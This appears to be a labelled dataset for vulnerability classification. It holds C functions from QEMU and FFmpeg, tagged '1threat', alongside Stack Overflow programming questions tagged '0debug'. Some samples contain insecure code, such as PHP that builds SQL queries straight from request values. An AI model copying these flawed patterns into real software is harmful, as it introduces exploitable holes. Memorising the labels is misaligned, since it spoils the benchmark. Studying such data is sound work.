s->quant_band = encode ? pvq_encode_band : pvq_decode_band;
s->band_cost = pvq_band_cost;
if (ARCH_X86)
ff_opus_dsp_init_x86(s);
*pvq = s;
return 0;
}
| 1threat
|
Is it appropriate to have a data field of type A as a data field for type B (type B is inherited from type A)? : <p>If a user-defined class inherits from the Java's <code>ArrayList<E></code> class, is it appropriate to have a data field of type <code>ArrayList<E></code> as a data field? Explain why or why not.</p>
| 0debug
|
How to make this Block of python code short and efficient : <p>I am total newbie to programming and python. I was solving a problem. I found the solution but it seems like too slow.</p>
<pre><code> if n % 2 == 0 and n % 3 == 0 and\
n % 4 == 0 and n % 5 == 0 and\
n % 6 == 0 and n % 7 == 0 and\
n % 8 == 0 and n % 9 == 0 and\
n % 10 == 0 and n % 11 == 0 and\
n % 12 == 0 and n % 13 == 0 and\
n % 14 == 0 and n % 15 == 0 and\
n % 16 == 0 and n % 17 == 0 and\
n % 18 == 0 and n % 19 == 0 and\
n % 20 == 0:
</code></pre>
<p>This is the piece the code to check whether <code>n</code> is divisible by all numbers from 2 to 20 or not.</p>
<p>How I can make it short and efficient.</p>
| 0debug
|
static int asf_write_trailer(AVFormatContext *s)
{
ASFContext *asf = s->priv_data;
int64_t file_size, data_size;
if (asf->pb.buf_ptr > asf->pb.buffer)
flush_packet(s);
data_size = avio_tell(s->pb);
if ((!asf->is_streamed) && (asf->nb_index_count != 0))
asf_write_index(s, asf->index_ptr, asf->maximum_packet, asf->nb_index_count);
avio_flush(s->pb);
if (asf->is_streamed || !s->pb->seekable) {
put_chunk(s, 0x4524, 0, 0);
} else {
file_size = avio_tell(s->pb);
avio_seek(s->pb, 0, SEEK_SET);
asf_write_header1(s, file_size, data_size - asf->data_offset);
}
av_free(asf->index_ptr);
return 0;
}
| 1threat
|
How to make part of a string italics in java? : <p>say I have a string "How are you?"
How would I convert just the word "you" into italics.</p>
<p>PS, I am a beginner so please don't incorporate advanced programming.</p>
| 0debug
|
Force `stack` to rebuild an installed package : <p>I often install a package which depends on external libraries and manage to move those external libraries to other locations afterwards, so that compiled programs exit with a loader error.</p>
<p>In those cases I just want stack to rebuild an already installed package, but I don't see how that is possible. <code>stack install --force-dirty</code> doesn't seem to work, as it just tries to rebuild the project in the current working directory.</p>
<hr>
<p>Recent example:</p>
<p>I'd liked to see whether <code>regex-pcre</code> requires a C library not present on Windows systems, so I hit <code>stack install regex-pcre</code>. That went fine, but then I realized I installed <code>mingw-w64-x86_64-pcre</code> via <code>stack</code>s <code>pacman</code> prior to this. I removed it again via <code>pacman -R</code> and tried to run <code>stack install regex-pcre</code> again, which did not rebuild it. Neither did adding <code>--force-dirty</code> work for the above reason.</p>
| 0debug
|
R: stri_replace_all_fixed slow on big data set - is there an alternative? : I'm trying to stem ~4000 documents in R, by using the <b>stri_replace_all_fixed</b> function. However, it is VERY slow, since my dictionary of stemmed words consists of approx. 300k words. I am doing this because the documents are in danish and therefore the Porter Stemmer Algortihm is not useful (it is too aggressive).
I have posted the code below. Does anyone know an alternative for doing this?
Logic: Look at each word in each document -> If word = word from voc-table, then replace with tran-word.
##Read in the dictionary
voc <- read.table("danish.csv", header = TRUE, sep=";")
#Using the library 'stringi' to make the stemming
library(stringi)
#Split the voc corpus and put the word and stem column into different corpus
word <- Corpus(VectorSource(voc))[1]
tran <- Corpus(VectorSource(voc))[2]
#Using stri_replace_all_fixed to stem words
## !! NOTE THAT THE FOLLOWING STEP MIGHT TAKE A FEW MINUTES DEPENDING ON THE SIZE !! ##
docs <- tm_map(docs, function(x) stri_replace_all_fixed(x, word, tran, vectorize_all = FALSE))
Structure of "voc" data frame:
Word Stem
1 abandonnere abandonner
2 abandonnerede abandonner
3 abandonnerende abandonner
...
313273 åsyns åsyn
Thanks in advance!
| 0debug
|
void do_delvm(Monitor *mon, const QDict *qdict)
{
DriveInfo *dinfo;
BlockDriverState *bs, *bs1;
int ret;
const char *name = qdict_get_str(qdict, "name");
bs = get_bs_snapshots();
if (!bs) {
monitor_printf(mon, "No block device supports snapshots\n");
return;
}
QTAILQ_FOREACH(dinfo, &drives, next) {
bs1 = dinfo->bdrv;
if (bdrv_has_snapshot(bs1)) {
ret = bdrv_snapshot_delete(bs1, name);
if (ret < 0) {
if (ret == -ENOTSUP)
monitor_printf(mon,
"Snapshots not supported on device '%s'\n",
bdrv_get_device_name(bs1));
else
monitor_printf(mon, "Error %d while deleting snapshot on "
"'%s'\n", ret, bdrv_get_device_name(bs1));
}
}
}
}
| 1threat
|
Customized date format in Javascript or jQuery? : <p>I need to format my date like this "2016-04-19T03:35:17.02". How can i format date format like using javascript or jQuery.</p>
<p>Please help me any one this.</p>
| 0debug
|
Bluetooth device is not listed : <p>Device I have connected is my arduino board with bluetooth HC-05 which is Bluetooth 2.0 module. It shows in my Windows 10 bluetooth manager, that the device is ready to be paired (I can even pair it with no problem), however my UWP app seems not to find it:</p>
<p><a href="https://i.stack.imgur.com/FGwnO.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FGwnO.png" alt="Device is ready to be paired, but no results in debug"></a></p>
<p>The variable "devices" is just null. Any idea what did I do wrong?</p>
| 0debug
|
uint64_t ppc_hash64_start_access(PowerPCCPU *cpu, target_ulong pte_index)
{
uint64_t token = 0;
hwaddr pte_offset;
pte_offset = pte_index * HASH_PTE_SIZE_64;
if (cpu->env.external_htab == MMU_HASH64_KVM_MANAGED_HPT) {
token = kvmppc_hash64_read_pteg(cpu, pte_index);
} else if (cpu->env.external_htab) {
token = (uint64_t)(uintptr_t) cpu->env.external_htab + pte_offset;
} else if (cpu->env.htab_base) {
token = cpu->env.htab_base + pte_offset;
}
return token;
}
| 1threat
|
Please help def issue // NameError: name ' passwordchecker' is not defined : **Indented so much so I could put the code in here**
I am making a password checker and a generator with a menu, the password checker by it's self works fine but the menu does not work along with the code and I've tried the menu by it's self and that does not work either. These are the errors that I am receiving:
Traceback (most recent call last):
File "C:/Users/Jasiu Czajka/PycharmProjects/untitled/First Code.py", line 41, in <module>
mainmenu()
File "C:/Users/Jasiu Czajka/PycharmProjects/untitled/First Code.py", line 24, in mainmenu
passwordchecker()
NameError: name 'passwordchecker' is not defined
I'm not sure what I've done wrong, so please help if you can.
I use pycharm and python 3.6.3
import re
def mainmenu():
print("*******************************************************************")
print(" Welcome to the Password Checker & Generator ")
print('*******************************************************************')
print("-------------------------------------------------------------------")
print("This program can be used to check a password to see if it is strong")
print("-------------------------------------------------------------------")
print("This Program can be used to generate strong passwords")
print("-------------------------------------------------------------------")
print("1. Password Checker")
print("-------------------------------------------------------------------")
print("2. Password Generator")
print("-------------------------------------------------------------------")
print("3. Exit")
print("-------------------------------------------------------------------")
print("*******************************************************************")
while True:
try:
selection = int(input("Enter choice: ")) # Making selection a variable
if selection == 1:
passwordchecker()
break
elif selection == 2:
passwordgenerator()
break
elif selection == 3:
exit()
break
else:
print("Invalid Choice. Enter 1-3")
mainmenu()
except ValueError:
print("Invalid Choice. Enter 1-3")
exit()
mainmenu()
def passwordchecker():
print("***************************************************************")
print(" PASSWORD CHECKER ")
print("***************************************************************")
print(" ")
print("---------------------------------------------------------------")
print("The password must be at least 8 characters, and a maximum of 24")
print("---------------------------------------------------------------")
print("The Password must contain at least 1 uppercase letter")
print("---------------------------------------------------------------")
print("The Password must contain at least 1 lowercase letter")
print("---------------------------------------------------------------")
print("The password must at least have 1 number in it")
print("---------------------------------------------------------------")
print('The password must have at least 1 symbol')
print("Allowed Symbols: !, $, %, ^, &, *, (, ), _, -, +, =, ")
print("---------------------------------------------------------------")
incorrectpassword = True
while incorrectpassword:
password = input("Type in your password: ")
if len(password) < 8:
print("Your password must be at least 8 characters long")
elif len(password) > 24:
print("Your password must be maximum 24 characters long")
elif not any(i.isdigit() for i in password):
print("You need a number in your password")
elif not any(i.isupper() for i in password):
print("You need a capital letter in your password")
elif not any(i.islower() for i in password):
print("You need a lowercase letter in your password")
elif re.search('[!, $, %, ^, &, *, (, ), _, -, +, =,]', password) is None:
print("You need a symbol in your password")
else:
print("Your password has all the characters needed")
incorrectpassword = False
passwordchecker()
mainmenu()
def passwordgenerator():
print("Work In Progress")
| 0debug
|
static void uart_read_rx_fifo(UartState *s, uint32_t *c)
{
if ((s->r[R_CR] & UART_CR_RX_DIS) || !(s->r[R_CR] & UART_CR_RX_EN)) {
return;
}
if (s->rx_count) {
uint32_t rx_rpos =
(RX_FIFO_SIZE + s->rx_wpos - s->rx_count) % RX_FIFO_SIZE;
*c = s->rx_fifo[rx_rpos];
s->rx_count--;
qemu_chr_accept_input(s->chr);
} else {
*c = 0;
}
uart_update_status(s);
}
| 1threat
|
static int webp_decode_frame(AVCodecContext *avctx, void *data, int *got_frame,
AVPacket *avpkt)
{
AVFrame * const p = data;
WebPContext *s = avctx->priv_data;
GetByteContext gb;
int ret;
uint32_t chunk_type, chunk_size;
int vp8x_flags = 0;
s->avctx = avctx;
s->width = 0;
s->height = 0;
*got_frame = 0;
s->has_alpha = 0;
bytestream2_init(&gb, avpkt->data, avpkt->size);
if (bytestream2_get_bytes_left(&gb) < 12)
return AVERROR_INVALIDDATA;
if (bytestream2_get_le32(&gb) != MKTAG('R', 'I', 'F', 'F')) {
av_log(avctx, AV_LOG_ERROR, "missing RIFF tag\n");
return AVERROR_INVALIDDATA;
}
chunk_size = bytestream2_get_le32(&gb);
if (bytestream2_get_bytes_left(&gb) < chunk_size)
return AVERROR_INVALIDDATA;
if (bytestream2_get_le32(&gb) != MKTAG('W', 'E', 'B', 'P')) {
av_log(avctx, AV_LOG_ERROR, "missing WEBP tag\n");
return AVERROR_INVALIDDATA;
}
while (bytestream2_get_bytes_left(&gb) > 0) {
char chunk_str[5] = { 0 };
chunk_type = bytestream2_get_le32(&gb);
chunk_size = bytestream2_get_le32(&gb);
if (chunk_size == UINT32_MAX)
return AVERROR_INVALIDDATA;
chunk_size += chunk_size & 1;
if (bytestream2_get_bytes_left(&gb) < chunk_size)
return AVERROR_INVALIDDATA;
switch (chunk_type) {
case MKTAG('V', 'P', '8', ' '):
if (!*got_frame) {
ret = vp8_lossy_decode_frame(avctx, p, got_frame,
avpkt->data + bytestream2_tell(&gb),
chunk_size);
if (ret < 0)
return ret;
}
bytestream2_skip(&gb, chunk_size);
break;
case MKTAG('V', 'P', '8', 'L'):
if (!*got_frame) {
ret = vp8_lossless_decode_frame(avctx, p, got_frame,
avpkt->data + bytestream2_tell(&gb),
chunk_size, 0);
if (ret < 0)
return ret;
}
bytestream2_skip(&gb, chunk_size);
break;
case MKTAG('V', 'P', '8', 'X'):
vp8x_flags = bytestream2_get_byte(&gb);
bytestream2_skip(&gb, 3);
s->width = bytestream2_get_le24(&gb) + 1;
s->height = bytestream2_get_le24(&gb) + 1;
ret = av_image_check_size(s->width, s->height, 0, avctx);
if (ret < 0)
return ret;
break;
case MKTAG('A', 'L', 'P', 'H'): {
int alpha_header, filter_m, compression;
if (!(vp8x_flags & VP8X_FLAG_ALPHA)) {
av_log(avctx, AV_LOG_WARNING,
"ALPHA chunk present, but alpha bit not set in the "
"VP8X header\n");
}
if (chunk_size == 0) {
av_log(avctx, AV_LOG_ERROR, "invalid ALPHA chunk size\n");
return AVERROR_INVALIDDATA;
}
alpha_header = bytestream2_get_byte(&gb);
s->alpha_data = avpkt->data + bytestream2_tell(&gb);
s->alpha_data_size = chunk_size - 1;
bytestream2_skip(&gb, s->alpha_data_size);
filter_m = (alpha_header >> 2) & 0x03;
compression = alpha_header & 0x03;
if (compression > ALPHA_COMPRESSION_VP8L) {
av_log(avctx, AV_LOG_VERBOSE,
"skipping unsupported ALPHA chunk\n");
} else {
s->has_alpha = 1;
s->alpha_compression = compression;
s->alpha_filter = filter_m;
}
break;
}
case MKTAG('I', 'C', 'C', 'P'):
case MKTAG('A', 'N', 'I', 'M'):
case MKTAG('A', 'N', 'M', 'F'):
case MKTAG('E', 'X', 'I', 'F'):
case MKTAG('X', 'M', 'P', ' '):
AV_WL32(chunk_str, chunk_type);
av_log(avctx, AV_LOG_VERBOSE, "skipping unsupported chunk: %s\n",
chunk_str);
bytestream2_skip(&gb, chunk_size);
break;
default:
AV_WL32(chunk_str, chunk_type);
av_log(avctx, AV_LOG_VERBOSE, "skipping unknown chunk: %s\n",
chunk_str);
bytestream2_skip(&gb, chunk_size);
break;
}
}
if (!*got_frame) {
av_log(avctx, AV_LOG_ERROR, "image data not found\n");
return AVERROR_INVALIDDATA;
}
return avpkt->size;
}
| 1threat
|
int net_init_socket(QemuOpts *opts, const char *name, VLANState *vlan)
{
if (qemu_opt_get(opts, "fd")) {
int fd;
if (qemu_opt_get(opts, "listen") ||
qemu_opt_get(opts, "connect") ||
qemu_opt_get(opts, "mcast") ||
qemu_opt_get(opts, "localaddr")) {
error_report("listen=, connect=, mcast= and localaddr= is invalid with fd=");
return -1;
}
fd = net_handle_fd_param(cur_mon, qemu_opt_get(opts, "fd"));
if (fd == -1) {
return -1;
}
if (!net_socket_fd_init(vlan, "socket", name, fd, 1)) {
return -1;
}
} else if (qemu_opt_get(opts, "listen")) {
const char *listen;
if (qemu_opt_get(opts, "fd") ||
qemu_opt_get(opts, "connect") ||
qemu_opt_get(opts, "mcast") ||
qemu_opt_get(opts, "localaddr")) {
error_report("fd=, connect=, mcast= and localaddr= is invalid with listen=");
return -1;
}
listen = qemu_opt_get(opts, "listen");
if (net_socket_listen_init(vlan, "socket", name, listen) == -1) {
return -1;
}
} else if (qemu_opt_get(opts, "connect")) {
const char *connect;
if (qemu_opt_get(opts, "fd") ||
qemu_opt_get(opts, "listen") ||
qemu_opt_get(opts, "mcast") ||
qemu_opt_get(opts, "localaddr")) {
error_report("fd=, listen=, mcast= and localaddr= is invalid with connect=");
return -1;
}
connect = qemu_opt_get(opts, "connect");
if (net_socket_connect_init(vlan, "socket", name, connect) == -1) {
return -1;
}
} else if (qemu_opt_get(opts, "mcast")) {
const char *mcast, *localaddr;
if (qemu_opt_get(opts, "fd") ||
qemu_opt_get(opts, "connect") ||
qemu_opt_get(opts, "listen")) {
error_report("fd=, connect= and listen= is invalid with mcast=");
return -1;
}
mcast = qemu_opt_get(opts, "mcast");
localaddr = qemu_opt_get(opts, "localaddr");
if (net_socket_mcast_init(vlan, "socket", name, mcast, localaddr) == -1) {
return -1;
}
} else if (qemu_opt_get(opts, "udp")) {
const char *udp, *localaddr;
if (qemu_opt_get(opts, "fd") ||
qemu_opt_get(opts, "connect") ||
qemu_opt_get(opts, "listen") ||
qemu_opt_get(opts, "mcast")) {
error_report("fd=, connect=, listen="
" and mcast= is invalid with udp=");
return -1;
}
udp = qemu_opt_get(opts, "udp");
localaddr = qemu_opt_get(opts, "localaddr");
if (localaddr == NULL) {
error_report("localaddr= is mandatory with udp=");
return -1;
}
if (net_socket_udp_init(vlan, "udp", name, udp, localaddr) == -1) {
return -1;
}
} else {
error_report("-socket requires fd=, listen=,"
" connect=, mcast= or udp=");
return -1;
}
return 0;
}
| 1threat
|
Cant Update an sql value : <p>i'm trying to update a value on mysql database, but i cant do it, i'm receiving succefully the data from the table, but on update it says 'connection error' i don't know what i'm missing</p>
<p>Panel.php </p>
<pre><code> <?php
require_once 'funciones/mysql.php';
$lista = $conexion->query("SELECT id, Nombre, apellidoPaterno FROM bomberos");
if ($lista->num_rows > 0) {
while ($row = $lista->fetch_assoc()) {
echo "id: " . $row["id"] . " - Name: " . $row["Nombre"] . " " . $row["apellidoPaterno"] . "<br>";
?>
<table class="table table-bordered">
<tr>
<td>
<img src='images/bomberos/<?php echo $row['id']; ?>.jpg' height="10%" width="10%" style="opacity: 0.5;"/><br /><?php echo $row['Nombre'] . " " . $row["apellidoPaterno"]; ?>
<br />
<div class="icon-container">
<form method="post" action="funciones/disponible.php">
<input type="hidden" name="idBombero" value="<?php echo $row['id']; ?>">
<button type="submit"></button>
</form>
</div>
</td>
</tr>
</table>
<?php
}
} else {
echo "0 Resultados";
}
$conexion->close();
?>
</code></pre>
<p>mysql.php</p>
<pre><code> <?php
//Datos de la conexion
$servidor = "localhost";
$usuario = "root";
$contraseña = "";
$basedatos = "sidesp";
//crear conexion
$conexion = new mysqli($servidor, $usuario, $contraseña, $basedatos);
//revisar conexion
if ($conexion->connect_error) {
die("conexion fallida: " . $conexion->connect_error);
}
?>
</code></pre>
<p>disponible.php</p>
<pre><code><?php
require_once 'mysql.php';
$consulta = "UPDATE 'estados' SET 'estado'='1' WHERE 'id'='".$_REQUEST['idBombero']."'";
if ($conexion->query($consulta) === true) {
return "Exito!";
}else{
return "Fallo!";
}
</code></pre>
<p>and... what's the best way to secure all of it?, i mean anti sql injections or decoding</p>
| 0debug
|
How to write text in the middle of a file in vbscript? : <p>I would like to know how to write text in a middle of a file in vbscript.
The text file has 2 lines, one line for the name of the output and the second of the value. The outputs separated by ";"
For example :
Before insert text, the text file contain - </p>
<blockquote>
<p>mem1;mem2;mem3;<br>
0.15;15.5;12.3;</p>
</blockquote>
<p>After insert new text - </p>
<blockquote>
<p>mem1;mem2;mem3;mem4<br>
0.15;15.5;12.3;13.2</p>
</blockquote>
<p>Thanks of helping me!</p>
<p>P.S. - note that it should be txt file and not csv.</p>
| 0debug
|
static void mv88w8618_wlan_write(void *opaque, target_phys_addr_t offset,
uint64_t value, unsigned size)
{
}
| 1threat
|
static void *colo_compare_thread(void *opaque)
{
GMainContext *worker_context;
GMainLoop *compare_loop;
CompareState *s = opaque;
GSource *timeout_source;
worker_context = g_main_context_new();
qemu_chr_fe_set_handlers(&s->chr_pri_in, compare_chr_can_read,
compare_pri_chr_in, NULL, s, worker_context, true);
qemu_chr_fe_set_handlers(&s->chr_sec_in, compare_chr_can_read,
compare_sec_chr_in, NULL, s, worker_context, true);
compare_loop = g_main_loop_new(worker_context, FALSE);
timeout_source = g_timeout_source_new(REGULAR_PACKET_CHECK_MS);
g_source_set_callback(timeout_source,
(GSourceFunc)check_old_packet_regular, s, NULL);
g_source_attach(timeout_source, worker_context);
g_main_loop_run(compare_loop);
g_source_unref(timeout_source);
g_main_loop_unref(compare_loop);
g_main_context_unref(worker_context);
return NULL;
}
| 1threat
|
Is there a program on which to make a quiz that runs Python code? I.e. The person enters code, then the quiz runs it on a kernel : <p>Every single query of this sort I could find simply involved making some kind of Multiple Choice Quiz using Python that took in values like "a" or "b" as input.</p>
<p>What I'm thinking involves the user actually having to write proper python code and running it in a kernel, while it gets checked against the correct answers.</p>
<p>For instance the user might be asked to use python code to solve a problem, then assign the final answer to the variable "ans".</p>
<p>The quiz program would then check whether the "ans" value was correct based on what the value the test-setter determined it should be.</p>
| 0debug
|
static int commit_one_file(BDRVVVFATState* s,
int dir_index, uint32_t offset)
{
direntry_t* direntry = array_get(&(s->directory), dir_index);
uint32_t c = begin_of_direntry(direntry);
uint32_t first_cluster = c;
mapping_t* mapping = find_mapping_for_cluster(s, c);
uint32_t size = filesize_of_direntry(direntry);
char* cluster = g_malloc(s->cluster_size);
uint32_t i;
int fd = 0;
assert(offset < size);
assert((offset % s->cluster_size) == 0);
for (i = s->cluster_size; i < offset; i += s->cluster_size)
c = modified_fat_get(s, c);
fd = open(mapping->path, O_RDWR | O_CREAT | O_BINARY, 0666);
if (fd < 0) {
fprintf(stderr, "Could not open %s... (%s, %d)\n", mapping->path,
strerror(errno), errno);
return fd;
}
if (offset > 0)
if (lseek(fd, offset, SEEK_SET) != offset)
return -3;
while (offset < size) {
uint32_t c1;
int rest_size = (size - offset > s->cluster_size ?
s->cluster_size : size - offset);
int ret;
c1 = modified_fat_get(s, c);
assert((size - offset == 0 && fat_eof(s, c)) ||
(size > offset && c >=2 && !fat_eof(s, c)));
ret = vvfat_read(s->bs, cluster2sector(s, c),
(uint8_t*)cluster, (rest_size + 0x1ff) / 0x200);
if (ret < 0)
return ret;
if (write(fd, cluster, rest_size) < 0)
return -2;
offset += rest_size;
c = c1;
}
if (ftruncate(fd, size)) {
perror("ftruncate()");
close(fd);
return -4;
}
close(fd);
return commit_mappings(s, first_cluster, dir_index);
}
| 1threat
|
RxSwift modify tableview cell on select : <p>I have a table view in my app. I generated the datasource for this table using following code</p>
<pre><code>struct ContactNameNumberBlockStatus {
var contactThumbnail: Data?
var contactName : String
var contactNumber: String
var blockStatus : Bool
}
class BlockListTableViewCell: UITableViewCell {
@IBOutlet weak var contactImage: UIImageView!
@IBOutlet weak var contactName: UILabel!
@IBOutlet weak var contactNumber: UILabel!
@IBOutlet weak var blockButton: UIButton!
var eachCell : ContactNameNumberBlockStatus! {
didSet {
// setting ui
}
}
}
private func showTableContent(data : Observable<[ContactNameNumberBlockStatus]>) {
data.bindTo(tableView.rx.items(
cellIdentifier: "BlockListTableViewCell")) {
row, contributor, cell in
if let cell2 = cell as? BlockListTableViewCell {
cell2.eachCell = contributor
}
}.addDisposableTo(disposeBag)
}
</code></pre>
<p>Now when I tap on cell I want to update ui by showing/hiding <code>blockButton</code> mentioned in top</p>
<p>how to do this ??</p>
<p>before using rx i used the didSelectRowAt of table view as following</p>
<pre><code>func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
contacts[indexPath.row].blockStatus = false
self?.tableView.reloadData()
}
</code></pre>
<p>I found that <code>tableView.rx.itemSelected</code> is same as above <code>didSelectRowAt</code> but i cant find how i can update the table view using following code</p>
<pre><code>tableView.rx.itemSelected
.subscribe(onNext: { [weak self]indexPath in
}).addDisposableTo(disposeBag)
</code></pre>
<p>So how to update the cell?</p>
| 0debug
|
Catalyst 'SwiftUI.AccessibilityNode' is not a known serializable element : <p>I created a fresh iOS Single Page App (including SwiftUI) with Xcode 11.1 and enabled Mac Catalyst. After running the fresh Project on my Mac (macOS 10.15 of course) I get the following errors after tapping once on the window.</p>
<pre><code>2019-10-18 12:59:48.479186+0200 test[3130:122148] Metal API Validation Enabled
2019-10-18 12:59:50.960734+0200 test[3130:122148] [AXRuntimeCommon] Unknown client: test
2019-10-18 12:59:50.962261+0200 test[3130:122148] [AXRuntimeCommon] This class 'SwiftUI.AccessibilityNode' is not a known serializable element and returning it as an accessibility element may lead to crashes
2019-10-18 12:59:51.313 test[3130:122148] **************_____________**************AXError: AVPlayerView is not a kind of NSView
1 AccessibilityBundles 0x00007fff42ee3b69 _AXBValidationCheckIsKindOfClass + 201
2019-10-18 12:59:51.386 test[3130:122148] **************_____________**************AXError: MKStarRatingView is not a kind of NSView
1 AccessibilityBundles 0x00007fff42ee3b69 _AXBValidationCheckIsKindOfClass + 201
</code></pre>
<p>Note: I also removed the Sandbox capability otherwise I get error about can't writing <code>ApplicationAccessibilityEnabled</code> </p>
<p>Does anyone know how to solve that?</p>
| 0debug
|
3 join tables mysql HELP ME : this is my table
program_join ('program_join_id, member_ID, program_schedule_id');
program_schedule (program_scedule_id, program_id, datetime');
program ('program_id, program_name);
this is my mysql
$mySql = "SELECT
program_join.program_join_id,
member.member_username,
program_join.program_schedule_id
FROM program_join
INNER JOIN member ON
program_join.member_ID=member.member_ID
ORDER BY program_join_id ASC LIMIT $hal, $line";
$myQry = mysql_query($mySql, $DB) or die ("wrong query : ".mysql_error());
$number = $hal;
while ($myData = mysql_fetch_row($myQry)) {
$number++;
$code = $myData[0];
?>
<tr align="center">
<td><?php echo $number;?></td>
<td><?php echo $myData[1];?></td>
<td><?php echo $myData[2];?></td>
result
No username program schedule
1 lalala 1
2 bababba 2
and under the 'program schedule', i want to show the program name that i have from the ' program_join.program_schedule_id'
please help me
| 0debug
|
Cannot Install Parallels Tools on Ubuntu 18.04 LTS : <p>I can't install Parallels Tools on Ubuntu 18.04 LTS. Here is the error log:</p>
<pre><code>Started installation of Parallels Guest Tools version '13.3.0.43321'
Thu Apr 26 21:45:11 PDT 2018
Start installation or upgrade of Guest Tools
new version of parallels tools
Installed Guest Tools were not found
Perform installation into the /usr/lib/parallels-tools directory
cat: /usr/lib/parallels-tools/kmods/../version: No such file or directory
make: Entering directory '/usr/lib/parallels-tools/kmods'
cd prl_eth/pvmnet && make
make[1]: Entering directory '/usr/lib/parallels-tools/kmods/prl_eth/pvmnet'
make -C /lib/modules/4.15.0-20-generic/build M=/usr/lib/parallels-tools/kmods/prl_eth/pvmnet
make[2]: Entering directory '/usr/src/linux-headers-4.15.0-20-generic'
Makefile:976: "Cannot use CONFIG_STACK_VALIDATION=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel"
CC [M] /usr/lib/parallels-tools/kmods/prl_eth/pvmnet/pvmnet.o
LD [M] /usr/lib/parallels-tools/kmods/prl_eth/pvmnet/prl_eth.o
Building modules, stage 2.
MODPOST 1 modules
FATAL: modpost: GPL-incompatible module prl_eth.ko uses GPL-only symbol 'sev_enable_key'
scripts/Makefile.modpost:92: recipe for target '__modpost' failed
make[3]: *** [__modpost] Error 1
Makefile:1555: recipe for target 'modules' failed
make[2]: *** [modules] Error 2
make[2]: Leaving directory '/usr/src/linux-headers-4.15.0-20-generic'
/usr/lib/parallels-tools/kmods/prl_eth/pvmnet/Makefile.v26:11: recipe for target 'all' failed
make[1]: *** [all] Error 2
make[1]: Leaving directory '/usr/lib/parallels-tools/kmods/prl_eth/pvmnet'
Makefile.kmods:34: recipe for target 'installme' failed
make: *** [installme] Error 2
make: Leaving directory '/usr/lib/parallels-tools/kmods'
Error: could not build kernel modules
Error: failed to install kernel modules
Error: failed to install Parallels Guest Tools!
Please, look at /var/log/parallels-tools-install.log file for more information.
</code></pre>
<p>However, when installing Parallels Tools on Ubuntu 16.04 LTS, everything went fine. </p>
| 0debug
|
How this program is being evaluated? : #include<stdio.h>
int main(void)
{
int i=10;
if(i==(20||10))
printf("True");
else
printf("False");
return 0;
}
// gives output: False
//Please explain me how this program works??
| 0debug
|
size_t qemu_file_get_rate_limit(QEMUFile *f)
{
if (f->get_rate_limit)
return f->get_rate_limit(f->opaque);
return 0;
}
| 1threat
|
Why does the decimal 2.5M round to 2? : <p>I must be missing some subtlety of .NET rounding. So I am looking at this example:</p>
<pre><code>decimal num = 2.5M;
var result = Math.Round(num);
</code></pre>
<p>Why is <code>result = 2</code>? (I would have expected 3 since it should round up)</p>
| 0debug
|
what is the next step for python web scraping on my pc? : <p>I have (python 3.7.2, anaconda navigator, and sublime text 3) installed on my computer (windows 10 home, 64 bit). do i have the correct programs installed for 'python web scraping'? what is the next step to successfully start web scraping? (when i press and hold the SHIFT key, and right-click in a folder, it says: "open powershell window here"), please help, thanks!</p>
| 0debug
|
How can we center title of react-navigation header? : <p>React-navigation docs are still young, and reading through the issues is not working quite much for me (changes on each version) does anyone have a working method to center title in Android using <code>react-navigation</code> in React Native?</p>
| 0debug
|
Notice: Undefined index: namaunit : <p>I'm new in programming, and i don't know why it doesn't work. I use the same code for my other input form, and that code work just fine. But, for this form, it's not. The form is pretty much same, so, that's why i totally do not understand why it's not working. </p>
<p>This is the php code where the message error come from. I wish you can help me. Thank you so much. </p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><?php
session_start();
require 'db.php';
$kodeunit = $_SESSION["KodeUnit"];
$namaunit = $_POST['namaunit'];
$alamat = $_POST['alamat'];
$pimpinanunit = $_POST['pimpinanunit'];
$kuasaanggaran = $_POST['kuasaanggaran'];
$pembuatkomitmen = $_POST['pembuatkomitmen'];
$penanggungjawab = $_POST['penanggungjawab'];
$sql = "UPDATE unit_organisasi SET Nama_Unit = '$namaunit', Pimpinan_Unit = '$pimpinanunit', Alamat = '$alamat', Kuasa_Anggaran = '$kuasaanggaran', Pembuat_Komitment = '$pembuatkomitmen', Penanggungjawab = '$penanggungjawab' WHERE Kode_Unit = '$kodeunit'";
if((!strlen(trim($namaunit))) || (!strlen(trim($alamat))) || (!strlen(trim($pimpinanunit))) || (!strlen(trim($kuasaanggaran))) || (!strlen(trim($pembuatkomitmen))) || (!strlen(trim($penanggungjawab)))){
echo "<script>alert('Data Belum Lengkap!')</script>";
header ('Location:inpudataunit.php');
}
else{
$result = $conn->query($sql);
if($result === TRUE){
echo "Berhasil diinput";
}
}
?></code></pre>
</div>
</div>
</p>
| 0debug
|
How to call another function with in an Azure function : <p>I have written 3 functions as follows</p>
<ol>
<li>create users in db</li>
<li>fetch users from db</li>
<li>process users</li>
</ol>
<p>In [3] function, I will call [2] function to get users using Azure function url as below:-</p>
<p><a href="https://hdidownload.azurewebsites.net/api/getusers" rel="noreferrer">https://hdidownload.azurewebsites.net/api/getusers</a></p>
<p>Is there any other way to call Azure function with in another Azure function without full path as above? </p>
| 0debug
|
Get inner type from concrete type associated with a TypeVar : <p>I'm using <code>mypy</code> and the <code>typing</code> module in python. Imagine I have a generic type:</p>
<pre><code>ContainerT = TypeVar('ContainerT')
class Thingy(Generic[ContainerT]):
pass
</code></pre>
<p>However I want to get at another type inside the concrete type associated with the TypeVar like in the example below:</p>
<pre><code>class SomeContainer(object):
Iterator = SomeCustomIterator
ContainerT = TypeVar('ContainerT')
class Thingy(Generic[ContainerT]):
def foo(self) -> ContainerT.Iterator:
pass
</code></pre>
<p>I get an error saying that <code>TypeVar</code> does not have a member <code>Iterator</code>. Is there another way to reformulate this so I can associate one type with another?</p>
<p>Thank you.</p>
| 0debug
|
static void derive_spatial_merge_candidates(HEVCContext *s, int x0, int y0,
int nPbW, int nPbH,
int log2_cb_size,
int singleMCLFlag, int part_idx,
int merge_idx,
struct MvField mergecandlist[])
{
HEVCLocalContext *lc = &s->HEVClc;
RefPicList *refPicList = s->ref->refPicList;
MvField *tab_mvf = s->ref->tab_mvf;
const int min_pu_width = s->sps->min_pu_width;
const int cand_bottom_left = lc->na.cand_bottom_left;
const int cand_left = lc->na.cand_left;
const int cand_up_left = lc->na.cand_up_left;
const int cand_up = lc->na.cand_up;
const int cand_up_right = lc->na.cand_up_right_sap;
const int xA1 = x0 - 1;
